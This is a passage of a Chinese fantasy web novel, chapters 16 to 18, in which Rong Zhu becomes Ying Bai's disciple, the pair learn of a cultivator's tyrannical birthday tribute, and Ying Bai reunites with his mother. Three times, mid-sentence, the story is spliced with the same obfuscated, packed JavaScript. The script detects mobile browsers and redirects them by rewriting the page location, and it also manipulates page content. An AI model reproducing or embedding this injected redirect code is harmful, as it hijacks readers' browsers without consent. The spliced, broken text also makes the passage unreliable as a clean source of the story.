她坚定正色道:“应白圣灵,没认识你之前我一直认为人活着就是要变强,变强是为了高人一等,有欺压别人的权力,有修仙的资格,所以我身边的每个人都在为了提升灵力阶级而斗争比拼,因为只有让掌门看到他的能力才会给他分配资源,而我是特别的。 “我吸收无数资源而灵力一分不涨,我有父亲庇护,所以无人欺我是弱者,可没了父亲,我就是清凌门众弟子中最低贱的存在,我以为我该被这样对待,这是再正常不过的事,可你让我意识到我的认知只是屈从了强者为尊,弱者低贱的规则,那一刻我才了解了我的心,被这样对待,我并不开心。 “所以,有谁愿意被人欺压呢?为什么人与人之间一定要分强弱?那些普通人,没有资格修炼的人就该死吗?” 一年前,她被漩涡之境吸入时的那番言论只是不甘于自己的结局如此凄惨而说出的愤慨之言,她相信应白一部分源于自己已经无路可走而破罐子破摔,另一个原因是因为她离开了充满威胁与嘲讽的世界所带来的那份安心促就的,直到她听见连逸对人生的怀疑,她才有些恍然大悟——她只是被迫接受世界规则,并不承认它是对的。 “应白圣灵,我想去寻找人存在的意义,寻找成为强者的意义,寻找人与人之间究竟有多少种相处模式。”容珠本就清澈明亮的眼闪着点点星光。 她又长长叹了口气,低着眸子说:“你说我是你的救命恩人,你又何尝不是呢?我进入漩涡本以为要死了,没成想遇见了你,容檀那箭本来要射向我,你却替我挡了去,若没你,我也不知飘渺咒的咒语,我也活不下来,也带不了你到这里。 “我父母都走了,我已没了家,又尚无自保能力,走到哪里都遭人嫌弃,有性命危险,如果不重新寻找人生意义,我活着有什么意思呢?看在咱们相识一场的份上,你就收我为徒吧?” 容珠叽里呱啦说了这么多,应白对容珠的心态变化感到又惊又怕,他将容珠影响得这么深,若不对她负责怎么行啊…… 一旁的老头儿看了半天算是明白来龙去脉了,他咳了一声,“应白,我看这丫头比你悟性高,生死往往难以预料,你当初下山时又可曾预见到你将来有一日会被关漩涡之境呢?” 应白沉默。 “这丫头灵核特殊,我看她过往几年灵力不增的原因恐是因为她心中动机不纯,违背了灵核的本意。丫头,你可知我说的是什么意思?” 容珠摇头。 “人的灵核是没有光芒的,金色灵核世所罕见,其含义我不可妄言。你从前修炼是为了地位和权利,我姑且猜测你不妨换一换想法。” 老头儿捋着胡须缓缓道:“想一想你修炼是为了什么,这正是你方才对应白说的,也是你说要去寻求的答案。我想你只有明白了这一点,修炼之路才会顺遂无虞。” 容珠记得在漩涡之境时应白也说过类似的话,她像是寻到了打开人生第一扇门的钥匙,极其开心地对应白道:“应白圣灵,前辈都这么说了,你真的不当我师父,指引我走一条新的路吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669326|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 应白的心扑通扑通地跳着,他踌躇片刻道:“如果师父允许,徒儿就收容珠姑娘为徒,教导她做人也让自己时刻清醒。” 老头儿似是十分满意,对容珠道:“你上午倒了一杯茶,这下子我可以名正言顺地喝了。” 容珠反应了一会儿终于明白原来老头儿是个极讲究的人,他不喝自己的茶是因为自己当时的身份是客人,没有客奉茶于主人的,老头儿所说的喝茶因由现下可补上了。 老头儿道:“既拜师,也该奉一杯茶给你师父。” 容珠起身来到桌前倒一杯茶回到应白面前,此时应白已落座,满面温和淡雅,一双眼眸随着容珠的身影落下。 少女跪在地上,双手奉上:“师父,请喝茶。” 应白接过茶杯一饮而尽。 拜师奉茶后行三拜礼,容珠拜完后应白微笑道:“从今往后我就是你师父了……”他说这话时,心里有点儿酸楚,“去拜见师公吧。” 容珠重新倒了杯热茶,以相同礼节朝老头儿奉上,老头儿含笑喝下,片刻后道:“望你今后不忘初心,亦能找到本心。” * 三日后,应白的伤已经好了。幽竹园处在深山密林中,几乎和外界隔绝,外头若发生了什么事在这是完全感受不到的。 “师父,您常去山外游历吗?”应白坐于桌前,手中拿着捣臼捣着罐子里的药草。 “现在不常出去啦。”老头儿躺在一把竹椅上悠闲地喝着茶,“外头乌糟糟地,再好的景色也变得浑浊不堪,这里清净,好得很。” 容珠摘草叶的手慢了下来,她在想这里的确很清静,就像是另一个世界,就像又回到了漩涡之境,仿佛整个世界只有她和应白。她忽然很是怀念那段时光,可又觉得现在也很好,至少应白还在身边。 她偷偷地去看身旁之人,他正专注地捣着草药,因为用力,眉毛微微拧起,瞳仁专注地盯着药罐,青涩苦气从中阵阵飘出。师公说这药是给应白喝的,应白现在已无碍,索性就让他自己动手,自己熬药喝。 老头儿将杯中水饮尽发出一声满足之音,随后叹了口气,眉毛底下的眼睛好似在望着蓝澄澄的天,“过不了多久,外面又要热闹啦。” “什么事?”应白拿起捣臼发现草药捣得还是不够细腻,又继续均匀有力地一下一下捣着。 “八月初九是什么日子你可还记得?” 应白停下手中动作,细细回想了一下,“日子有些熟悉,不过徒儿想不起来了。” 老头儿呵呵笑了两声,两只手搭在肚子上共同沐浴着阳光,“八月初九是圣灵宫昌修的生辰。” “昌修……”应白将这两个字在嘴中慢慢琢磨了一会儿,与此同时,过往的回忆也像被一根竿子层层揭开。 “我记得我被关漩涡之境那年,他已经九十五岁了,如今算来岂不是……” 应白独自一人在漩涡之境呆了四年,而容珠同他一起又过一年。 “百岁生辰。”老头儿一字一字地吐了出来。 容珠不禁发出一声浅浅惊呼。 16. 昌修 圣灵宫如今住着七位圣灵,若按晋阶圣灵的先后顺序来看,最早是万初圣灵,其次是尤鸣圣灵、谷嵩圣灵、昌修圣灵、金闻圣灵、左舒圣灵和徐旻圣灵。 这几人大都过了百岁,到达圣灵这种级别世所罕见,天赋必不可少。凭实力修炼至圣灵水平的就万初一个,其余人多多少少凭着敢拼不怕死的念头干了点不择手段的事才成为的圣灵。 将应白关入漩涡之境的万初圣灵是在四十岁多时进入的圣灵宫,目前已有两百多岁了,最年轻的徐旻圣灵才五十岁。 成为圣灵后代表着拥有相当强悍的灵力,自可维持容颜,永远青春,可维持容颜的前提是人还未老的时候,除了万初稍显年轻外,另外六位强者成为圣灵之日都已不再年轻,再怎么维持也是一副老头模样。 尤其是昌修。据说昌修在自己七十岁时吸了自己师父的功法才成为的圣灵,他本就一副瘦黑模样,所幸因为练功身子并不佝偻,看上去很坚//挺,因此倒也没有太过老气。他是圣灵中肤色最黑的一个,也是最能折腾的一个。 不过这些容珠并不了解,她只是在感叹:“圣灵……百岁……那生辰宴该何其隆重奢华?” 应白从前便是圣灵宫的一位成员,自是了解昌修为人,而老头儿身为应白师父,又是隐居高手,对圣灵宫乃至整个修真界的一些事情都有所了解。 “应白,如果你要出山不如等这阵风头过去,昌修此人极爱张扬,到时以高灵门派为首的几大掌门必定带头操办生辰宴,你若被哪个眼尖的瞧见恐有危险。” 应白不知在想什么,他收回思绪道:“师父,我被关多年,许久都没有见识外面的世界了,况且未来对于我而言本就困难重重,若是总想避开岂非一直原地踏步?没有灵力走到哪里都十分艰难,可我还有武功傍身,若在容颜上稍加掩饰,过去了这么多年,应该不会有人认出我来。” 老头儿认可地点了点头,“既如此,且随你吧。昌修那黑老头子过百岁生辰,修真界上下定然忙作一团,你要出山,不妨把额间印记隐去吧。” 说着,他抬手靠近应白额间,轻轻一挥,那圣灵之金便隐藏起来。 “多谢师父。”应白捣了两下药,似是想说什么事,片刻后问:“不知我母亲……” 容珠停下手中动作竖耳细听。 “你被关漩涡之境与死无异,她几度崩溃,伤心得厉害,总向我打听万初,后来慢慢平复了,虽然过了这么多年,但精神一直不太好,你该回去看看她。” 应白“嗯”了一声,容珠偷偷抬眼看他,没了额间那抹闪亮的圣灵之金,应白的眉眼更加清晰。他大多数时间是笑着的,提到圣灵宫的时候会生气,这还是容珠第一次见他目露忧急。 师父的母亲…… 晚上,夜空繁星点点。容珠饭后坐在溪水边低头看月亮的倒影,厨房传来流水和碗盘的碰撞声,烛火摇曳,应白的身影在窗内浮动。 容珠不知何时抬头,也不知看了多久,直到厨房的烛火被吹灭,应白从屋里走出。 他穿了一身干净的粗布白衣,垂下的黑发顺在后肩,柔和的月光铺洒在他身上,整个人温润如玉。见容珠正看着自己,还以为她有话要对自己说,遂露出一个温和的笑容,走到溪水另一边问她:“何事?” 容珠答:“没事,今晚的星星真好看。师父,我们明天就要走吗?” 应白道:“先去见我母亲,之后再去南海,看看能不能通过海屏障。我怀疑天外天也有我们要探寻的东西,说不定找到了那里的世界秘密,就能知道我们世界为什么会有这么大的恶意。” 容珠想去天外天,但此刻她对应白的母亲更感兴趣。 “师父定与您的母亲多年未见了,若是她看到你还平安地站在她面前,一定很高兴。” 若是此刻,她的娘亲能站在她面前,对她说自己的病好了,对她说自己并没有死,那该多么美好。 她渴望见到自己的母亲,一想到应白会和他的母亲久别重逢,心中难掩羡慕欣喜。 应白有些意外容珠已经能站在别人的角度替别人感到幸福,她本心何其善良,为什么要出生在这个世界里遭受种种磨难?一想到她是个无父无母的女孩,心内顿时升起一股怜惜。可有时候安慰不会解决问题,起码容珠需要的不是可怜与安慰。 “我会跟她说是你救的我,她一定很开心认识你。” * 第二日一早,二人拜别老头儿下山了。东林山地处偏僻,要绕好一大圈子才能到达一处村镇。 村子上方烟火缭绕,每家每户都院门紧闭,倒是传来阵阵鸡鸣狗叫声。远远看见一个男人背着一个包裹,急匆匆又有些鬼鬼祟祟地进了一户人家中,应白还以为他是个贼,脚步又快又轻地来到门前,借着门缝观察。 一个女人的声音道:“这些恐怕不行吧,人家是圣灵,能看上这玩意吗?” 男人道:“不行也没别的啦,这还是我好不容易从古玩店偷来的,没有这些咱们拿什么献生辰礼?过两天圣灵宫的使者就来收礼了,这是咱们能拿的出最好的东西了。” 女人叹了口气:“这两天我偷偷观察过了,有闺女的都送闺女,没闺女的也不知从哪来的宝贝,家家门都关死了,想看也看不着。” 男人哼道:“还不是你没用,几年了只生个儿子,要是你能生女儿咱们还用这么发愁吗?” 女人声音小了很多,哼哼唧唧地不知说了些什么,只听到男人在压着嗓子嘟囔道:“要是能偷个女娃就好了……” 距离昌修百岁生辰还有三个月,根据应白的记忆,昌修此人会在生辰前三个月开始派使者下山挨家挨户收生辰礼。高至门派,低至平民,只要有屋舍,屋舍里有人就要交生辰礼。 生辰礼要么送助长修为的灵丹妙药,要么送奇珍异宝,要么送女子,这正是应白当年大为震惊同样不理解的事。 那些女子听说自己被当做生辰礼送给昌修圣灵,没有一个不是兴高采烈,欢天喜地的。应白记得当初在圣灵宫他本看不惯这件事,想放这些女孩子下山,这些女子却说他多管闲事,自己巴不得和昌修圣灵同寝,说不定还能吸收昌修的灵气来助自己踏上修炼之路。 她们哪里晓得,昌修与女子同寝可不是抱着乐于助人的态度,一是为了修炼,而是为了欲念。女子阴气可帮助男性修炼者平衡体内阴阳,尤其是没有修为的或是修为低的,因为只有这样,吸收到体内的阴气才是最纯净的,能更快更成功地与自身灵力结合,相反女性修炼者也可找阳气来平衡自身。 不过能送女子的人家基本上都是低贱的再不能低贱的普通人,他们没有修炼过功法,自然不知道里面的一些门道,对他们来讲,能见到圣灵就已经是无尚荣耀,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669327|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些女子个个兴奋得照镜抹粉,巴不得能获昌修圣灵的青睐。 容珠出身清凌门自是知道这些,高灵门派,每年送的生辰礼都是极难获得的灵草仙丹,虽然各不相同,但都是增筑修为的。 昌修圣灵爱好刁钻,脾气不定,不过只有他一人喜欢收生辰礼,其他圣灵倒对这不感兴趣。 除此之外,昌修圣灵重排场,大宴小宴都要隆重举办,别的圣灵都在闭门修炼,唯有昌修隔三岔五大摇大摆出来让人拜见。 应白道:“每个圣灵各有喜好罢了。” 容珠想顺口问应白有什么喜好,但隐约觉得应白所说的喜好不是什么好的词汇,她认为师父是不会有不良嗜好的,遂闭口不谈。 二人一路走下来,只见街上行人皆是神色匆匆之样,药铺、当铺、古玩字画店进进出出了好几拨人,不管是身穿绫罗绸缎的富人还是粗布麻衣的百姓,从门里出来的怀中都揣着东西,要么被布盖住,要么放宝盒里。 “挤什么挤什么?带了多少钱?” “呦,钱公子您来了,有的有的,我给你留着呢。” “上一边去,低贱之人还想插队?” “都把钱拿出来,什么钱买什么货色知道吗!” 各家店铺门口都有一个仆人打扮的人在门口吆喝,凭衣装判断贵贱,再看脸面双手,有褶皱的定是干粗活的,全都要靠边给富人腾道。 应白静静地观察眼前景象,余光瞥见街边有一小摊贩,摊主是个略有些年纪的妇女,正在看着不远处人人相争买卖的景象,她眉眼忧愁,一只手紧扣着桌边,好像也在为准备什么生辰礼而发愁。摊上摆的是金银首饰一类的东西,这些东西昌修圣灵根本用不上,是以她摊前空无一人,近几日连一笔进项都没有。 应白忽然想到什么,他转头对容珠说:“你用灵力将我的乾坤囊唤出来,我设了口诀,你试试看。” 他将口诀告诉容珠。乾坤囊虽是灵物,但只要应白的灵核不毁,他拥有过的东西都不会消失,只不过他无法用灵力施展罢了。 容珠依言转动手指,口中念诀,果真有一个棕色小囊从应白身侧显现。应白道:“虽然我灵力没了,但这些东西还在,让我看看这里面还有什么……” 乾坤囊里还有一些铜钱和几片干枯了的白色玉兰花瓣,还有一些他当年采摘炼制的各种灵丹妙药,有的吃下去可以让自己功力长时间维持在巅峰状态,有的吃了可以在命悬一线之际保全一条命…… 应白在里面摸索一番,容珠听到里头有叮叮当当地碰撞声,像钱币的声音。片刻后,应白拿出几瓶药放到怀中,又拿了几枚铜钱走到那摊贩前,那妇女沉浸在不远处人头攒动的景象中,丝毫未察觉到有客人来了。 容珠还以为师父要给他母亲买东西,这些东西的锻造不算精致,但有些还是比较小巧玲珑的。只见应白拿起一根木簪,木簪很细,头上嵌着一颗白皙饱满的珍珠,轻轻转动还隐约泛着彩色流光。 他将这支珍珠簪子拿到容珠眼前,问:“你觉得这个好看吗?” 那妇女忽然听到声音,浑身一激灵,当即回头看到自己摊前站着两人。 容珠微怔,不晓得这句话是什么意思。 应白看着这支簪子,目光柔和,“你拜我为师,我还没送你见面礼,如果你喜欢的话,这支簪子就作为我送给你的见面礼吧。” 17. 母亲 见面礼……容珠长这么大还没听说过徒弟拜师,师父要送见面礼的。 “我……”容珠转念又想,师父的思想言行与这世界上大部分人都不一样,或许师父送徒弟见面礼是一件很正常的事。她接过这支珍珠簪,忽然觉得它十分漂亮,比她以往的首饰都要好看独特,她想了想说:“好。” 应白转头问摊主:“这簪子多少钱?” 妇女在几瞬间通过二人着装打扮已判断出他们绝非普通人,尤其那女子,脸蛋水润如玉,服饰精致靓丽,不是高门大户的小姐就是修仙门派弟子,一听应白问她簪子多少钱,吓得哆哆嗦嗦道:“贵人喜欢,不收钱。” 应白心内了然,这个世界从来只有高贵者向低贱者索取的份,除非低贱者付出劳动力或提供衣食,否则像这种小东小西,没什么实在用处的东西,尊贵之人愿意出钱就出,不愿出钱直接拿走都是理所当然。 就像多年之前,他想扶起一个摔倒的老人都被对方哀求无需施舍,恳请应白放过他。 关了这么些年,应白已经看开了,如今面对这种情况也晓得该怎么处理。他做了一个十分凶狠的表情,语气冷冷道:“多少钱,回答我。” 妇女抬眼观察了一眼对方神色,被那自上而下俯视的强者气息吓了一跳,倏地收回目光,小心翼翼答:“十文。” 应白将十文钱放在桌上,“给你钱就收着,无需多言。” 他语气带着一种命令感,那妇女盯着桌上的钱瞳孔睁得老大,却不敢抬头去看对面之人,只低着头拿过钱回应:“是。” 等二人走远了,容珠回头见那妇女把钱捧在手心里,还在呆傻地看着。她抬头道:“师父,你刚才好凶啊。” 应白似是有些尴尬地清清嗓子:“不这样她是不会收钱的,她们屈从于强者,对强者发出的命令不敢不听,所以我只好装一下了。” 容珠收回目光偷偷笑了一下,应白没有察觉,他听身旁之人又说:“师父送我的东西我一定会好好戴着的。” 她一只手摸了摸自己的发髻,一只手将珍珠簪对准某个位置一推。 “歪了。”应白说完便站在她身前。他的胸膛离容珠不到一寸,容珠甚至能闻到应白衣服里隐隐散发的清淡香气,感受着木簪穿过发丝间的隐隐触感,片刻后就听头顶传来低沉的声音:“好了。” 二人一路无话,直到道路越来越孤僻,房屋越来越少时,应白驻足遥望。 “前面就是我母亲的住所了。” 容珠笑道:“走吧师父。”她不知近乡情更怯,只单纯地认为有一件高兴的事在等待着她的师父。 应白母亲的住所是一座不大不小的四合院,与周边的屋舍比起来要坚固好看许多。屋檐的牌匾上空无一字,这样瞧着,好像是一所无人居住的废屋。 应白站在门口踌躇良久才试探性地敲敲门,院中细微的声音戛然而止,没多久,门从里面打开,只露出一条缝隙,缝隙中,有一双苍老却不失美丽的双眸警惕地看着门外。 “母亲……”应白嗓音沙哑道,“我是应白。我回来了。” 这双瞳孔猛地睁大,透过这条缝隙仔细地打量门外青年,一双布满褶皱的眼睛里水光蔓延,扣着门边的手因为用力而泛白,接着,门被缓缓打开…… 她似是不会说话了,嘴唇上下颤动着,眼中水花不住地闪烁,难以置信地看着眼前熟悉又陌生的人,眼睛再三确定,终是颤抖道:“应白?” “母亲,是我。”应白心头哽咽,印象中的母亲一直是一副健康红润的模样,他七岁拜师,只有每年过年才有一天时间回去看望母亲,成为圣灵后,他曾回去给母亲报喜,他本想着要用更多的时间来陪伴她,可自己也不知道在忙什么,那日一别,便是七年未见。 若不是亲眼看到,应白根本想象不出母亲已经这般苍老。 应白随母姓,母亲叫应心。他从小没有见过父亲,只知道父亲是个修炼之人,在他很小的时候就外出游历增进灵力了,走前还对应心说让应白长大后也去拜师学艺,后来这个男人就再也没回来,母亲对应白说就当他已经死了吧。 可好歹是自己的生身父亲,应白便问起父亲的名字,母亲便说他姓吴,叫吴安。 应夫人如今也有五十多岁了,若是人生没有发生变故,她现在也会是一个岁月静好的美人。可自从得知自己唯一的儿子被剥了灵核关入漩涡之境后,日夜以泪洗面,姣好的容颜在失去儿子的打击下,终是日渐苍老,就这么孤独地一人过活。 街坊邻居也不知她的儿子就是那个响彻修真界的疯子应白,只以为她的儿子也和她的丈夫般,为了修炼早不管她了。毕竟这个世界强者大于一切,有钱之人就是贫穷之人的王,成为低灵的人可以肆意践踏民间所有人,而圣灵就是修真界的主。 “太好了,你没死……”应夫人许多年没有经历过情绪的剧烈起伏了,她本按耐不住自己想去拥抱应白,但很快理智占据了感性,她见四周无人发现便叫应白先进屋,这才注意到应白身边还站着一个陌生少女。 “她叫容珠,是我的徒弟,更是我的救命恩人,是她带我离开漩涡之境的。”应白垂眸温和地看向容珠。 应夫人一听是儿子的救命恩人,立时对容珠流露出感激之色,她将二人引到屋内坐下,方问起事情的来龙去脉,听完后不免担心道:“那圣灵宫会不会知道你们已经逃出来了?” “距离我们逃出来已经过去十几天了,假设他们知道,定会给修真界各大门派发布追捕令,没有道理藏着掖着。” 应夫人仍旧眉间紧锁,身为母亲,她不敢认为这样就万事大吉了,她看看应白又看向容珠,“你救了应白出来,我没有什么能回报你的,若你不嫌弃,我想像对待女儿一样对待你,我只担心你今后跟着应白怕会艰苦些。” 母亲要把容珠当女儿也是一件合情合理的事。应白默不作声,一颗心在暗自跳动。 容珠有些受宠若惊,她没有应白面上那么淡定:“应夫人……我……你不必对我这么客气,师父同样教我功法,她是除我父母外唯一一个不嫌弃我灵力低的人,我不怕艰苦,只想好好修炼。” 应夫人莞尔一笑说:“我哪里称得上一声夫人,你叫我伯母吧,不至于太见外。” 容珠盛情难却,叫了应夫人一声伯母。应白坐不住了,说要去烧水。 这座宅院虽说不大,但装潢清雅秀丽,多年来就应夫人一人住着。她将原先应白的屋子收拾出来,又将旁边的厢房腾出来给容珠住。 时至中午,应白在厨房添柴起灶。容珠听应白在幽竹园时说过,他七岁拜师,当时的他拿着一包沉甸甸的钱袋子做为拜师礼,老头说不收钱,问他愿不愿意今后给他洗衣做饭,种地除草。应白说没有问题,老头说先看他三个月的表现,到时候决定是否收徒。 这一学就学了十一年。除了每日打坐练武外,应白将家务事一概包揽,老头除了教应白功夫,空闲之余就晒太阳。 应白本还担心自己的厨艺会因为多年不做而生疏,其实做个一两次又找回那种感觉了。 饭菜很简单,应夫人吃得频频落泪,应白一直在旁安慰,容珠吃得五味杂陈,一是尝到师父做的饭所涌起的雀跃,二是和师父与师父的母亲一起吃饭而感到的温暖,三是看到师父与伯母久别重逢相互慰问关切,自己却孤身一人而心内酸楚。 “我都不敢想你在漩涡之境里是怎么过的。”应夫人端详着应白的面容和双手,“不过你现在出来了,既收容珠为徒,你身上就有做师父的责任,以后做什么事都要考虑到这不仅仅是你一人的安危。” 应白认真道:“遇见容珠,我就不孤单了。她陪我说话,带纸笔和武器给我解闷,她不会像别人一样把我视作另类。她跳崖拉我,带我去找师父救我性命,师徒只是称呼,她是很重要的人,我会保护好她的。” 应白想让母亲知道容珠不仅仅是他的徒弟,她是除母亲和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669328|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师父外第三个重要的人。事实上,他每每听到容珠喊他师父就觉得心里一阵落寞,可他还能妄想得到什么称呼呢? 他忽然意识到自己心中有了私欲,而这是他长久以来为人处世所不允许的。 应夫人轻拍他的手,“我明白。”她拿起筷子给二人一人夹了一片藕,“你们对彼此而言都是重要的。哎呀,我一直在说话,菜都凉了,快吃吧。” 藕片清爽鲜脆,容珠吃起来甜蜜蜜的,抬眼瞄见应白在吃藕片的时候红了耳廓,心里怪道这藕片不辣呀,师父怎么这般反应? * 晚上,应白来母亲房中抱被子,见桌上摆着四五个锦盒,应夫人说是给昌修圣灵的生辰礼,“前段时间有使者来言说要在五月初九这日收生辰礼,算起来就是三日后了。” 她抚上应白的手,“我知你如今和圣灵宫的关系不好,定不喜咱们还要送生辰礼给他,但这件事年年都会发生,我们现在还不能与圣灵宫作对,所以生辰礼是一定要送的。” 应白知自己母亲在担心什么,他安慰道:“母亲想多了,只是生辰礼又不是要咱们干泯灭人性之事,母亲该怎么做就怎么做,不知母亲送的什么东西?” 桌上锦盒有大有小,应白一一打开,都是些上好的灵丹仙草。 他奇道:“母亲从哪寻来的这些好东西?这每样东西都不一定在铺子里有卖,就算有定然也得重金购买。” 应夫人温言垂眸坐下来,寂静的屋子里,她声音轻轻道:“是他送过来的。” 应白一怔,“他”自然是指他名义上的父亲,他心里一紧:“他还活着?他回来了?” 应夫人摇头:“他不露面,每半年会派飞鸟送东西来。” “我怎么从来没听你说过这件事?” 应夫人道:“他送这些东西的含义不清不楚,我也不想让你知道这件事,还不如让你以为他或许已经不在世上了。” 小的时候,应白就能感觉到母亲不愿提起这个人,慢慢长大后,应白看清了这个世界面貌时便开始怀疑他的父亲说去修炼实则是抛妻弃子了。但他没有在母亲面前这么说,母亲不提他也不提,而且很多时候他跟师父在一起会让他忘记他没有父亲这一事实。 应白双眉蹙起,冷声道:“能送来这些好东西,他是中灵还是高灵?” 应夫人摇头:“我不知道,他只送东西。除去给昌修圣灵的生辰礼,其他的我都会看着卖掉。” “当年我被关漩涡之境修真界上下没有不知道的,他可有问过我?”应白眸中的情绪在烛光昏暗的屋里滚滚灼烧,他缓了语气,猜想道:“会不会……我们不知道他发生了什么事,有什么苦衷,虽说这个世界险恶,但也不是每个人都如此。” 应夫人避开了应白的目光,语气忽然冷了两分:“既能送东西来,若他真有一点良心就该知道做什么。在成为强者面前,他不会把情感看得比自己前途还重要。” 送丹药是想让母亲也成为修炼之人,还是在培养一个能对他修炼有帮助的物品?毕竟这样的事情在这个世界遍地都是,应白知道自己不能感情用事。 沉默了一会儿,应夫人缓了语气对应白道,“我知道你不是这样的,你重情重义,自与他人不同。”应夫人目露慈爱,“一转眼你都已经这么大了,不过在我眼中你还跟孩子一样。” 应白温和笑着,心中却环绕着一片乌云。 如果父亲真死了也没什么可在意的,可应白知道母亲有很多事不想跟他说,他的父亲还活着,他就没法不去想他是谁,长什么模样,在哪里能见到他,为什么这么多年不回来。 他怕自己的父亲跟这世界里其他人一样冷血无情,又怕自己一无所知而误会他。母亲的话应白没理由怀疑,但他没法打消自己对这个男人的期待和好奇。 他回自己房门之前,目光定格在旁边这扇窗户中,容珠的身影影影绰绰地在屋内走动,他杵在原地不知站了多久才挪步回屋睡觉。 18. 疯癫 第二日容珠起了个大早,院子里静悄悄的。她蹑手蹑脚走到旁边屋子,附耳贴在窗前,忽然意识到自己此种行为不妥,当即收回动作,而此时应白也从屋内出来,容珠一副做了亏心事的模样,为了掩盖自己的行径,当即脱口而出:“早啊,师父!” 应白许是刚起床还没缓过神来,被这突如其来的招呼声略微惊了神,不过依旧很淡定地看着容珠,然后嘴角微微上扬,道:“早。” 厨房的菜不多了,今日要去集上采买,应白知道母亲担心,便笑道:“这个村子的人只见过小时候的我,即便长大后我回来看你也没和他们碰着面,没有人会知道我是谁的。” 普通百姓见不到圣灵,人们也只知道有个叫应白的圣灵被关了起来,谁也不知道他长什么样。虽然应白成为圣灵后会经常到民间乐于助人然后被拒,但世界这么大,他去的那些地方都地处边界,那里的百姓日子很苦,他还没来得及到这里来传播仁爱就被关了起来。 离昌修生辰越近,各个铺子门口排队的人也越多,街上一片吵嚷之声,反而茶馆酒肆人头凋零。 这里农户居多,成片的田野牧地铺在村庄后头,每日都有新采摘的蔬菜瓜果,吃不完就拿到集上卖,供应给酒馆饭店。应白和容珠为避免因为着装问题而再遇到不肯收钱的情况,两人在出门前都换了布衣,容珠将头上多余的钗环卸除,乌黑柔软的发髻上只插着一根珍珠木簪。 其实容珠很少来民间,一是没什么事需要下山,二是要修炼。即便几日下来已见过许多从前不曾见过的画面,容珠一双如黑宝石般的双眸仍在新奇地四处观察。 应白来到卖菜地界,挑了几样嫩绿新鲜的蔬菜,又买了一吊五花肉,一条鱼和水果。那些摊贩看到一个形貌俊挺的青年和一个面容秀美的少女买东西,一双双眼带着卑怯、好奇和警惕。等二人走远后,几个相熟的摊贩才讨论起来。 其中一个摊贩道:“我还是第一次见这么俊的女娃嘞……这家人运气真好,不用愁送什么生辰礼了,你知道老张家准备的什么吗?” 另一个舔舔嘴说:“他闺女呗,他家经常吃了上顿没下顿,能拿出什么好东西来。”这人低头整理菜叶子:“前儿我去当铺当了件便宜货,贵得要死,希望昌修圣灵别将罪。” “我也买了件便宜货,咱们这样的能买得起什么?” “我听说姓孙的还没买到生辰礼。” “那不在那儿吗,那么长个队,排在最后那个就是他。” 摊贩伸长了脖子望去,“悬喽,后天他们就要下来收了,他还没买到,只怕是买不到啦,哈哈哈……” 旁边摊贩也笑了起来:“他家没闺女也没妹妹,老婆也是黄脸婆子一个,都不会种地,卖些农药老鼠药,挣几个钱能买着啥?” “交不上生辰礼就大祸临头了,等着圣灵宫处罚吧。” 摊贩们守着自己的商品,咯咯咯地笑了起来,嘴角和眼角的皱纹在晒黑的皮肤上一层一层显现,像枯老的树皮,粗糙刺扎。 底层百姓能保自己周全就不错了,若能在自己周全时看见别人不幸,那可真是一件高兴之事。 应白和容珠往回走的时候看到某家当铺前,一个伙计单手叉腰,横眉倒竖,另外一只手指着排在队伍中最后一个人骂道:“你才带了几个钱就想来这买东西?瞅你这身穷酸样,赶紧给我滚!这里不卖你东西,爱上哪上哪!快走!” 他连骂带踹,一下子将这矮胖的男子踢到在地,身上带着的五枚铜钱叮铃咣铛掉了一地,前面排队的人一听到银钱之声纷纷回头。他不顾被踹之痛先将钱捡了起来护在怀里,扬起一张沾满灰尘的脸对伙计道:“别的地也不收我,您看有什么便宜的好看的东西就卖给我吧,我家实在拿不出像样的生辰礼啊。” 伙计十分生气,嗓门儿又高了两分:“该我什么事啊?你没有生辰礼该我什么事?真是贱人,你跟谁求可怜呐?你拿那点子钱就够买我家狗碗,你要不要?啊?” 矮胖男人站起身来,他实在没处去了,今日不管怎么说都要买件东西回去,他只好连连作揖恳求伙计能卖他一样东西,扣子,珠子,任何一个小玩意都行。 伙计实在忍无可忍,一脚将男人踢远了去。 容珠蓦然想起曾经有一年随父亲下山,也遇见了这样一个情景,当时被踹的是个少年,他没饭吃向周围人乞讨,谁也不会去施舍乞丐,而那少年也如这男人般锲而不舍,跪地乞求,换来的不过是狠狠一脚。 少年摔在了容珠不远处,容珠脚步一顿,奇怪地看着他,容山拉紧了容珠的手说:“走吧容珠,我们是强者,帮助低贱之人会有损我们的尊严。” 今时今日,这番场景恍若梦回当年,她心道自己的灵力提升跟心中有爱有关,那帮助了他是不是就能提升自己的灵力? 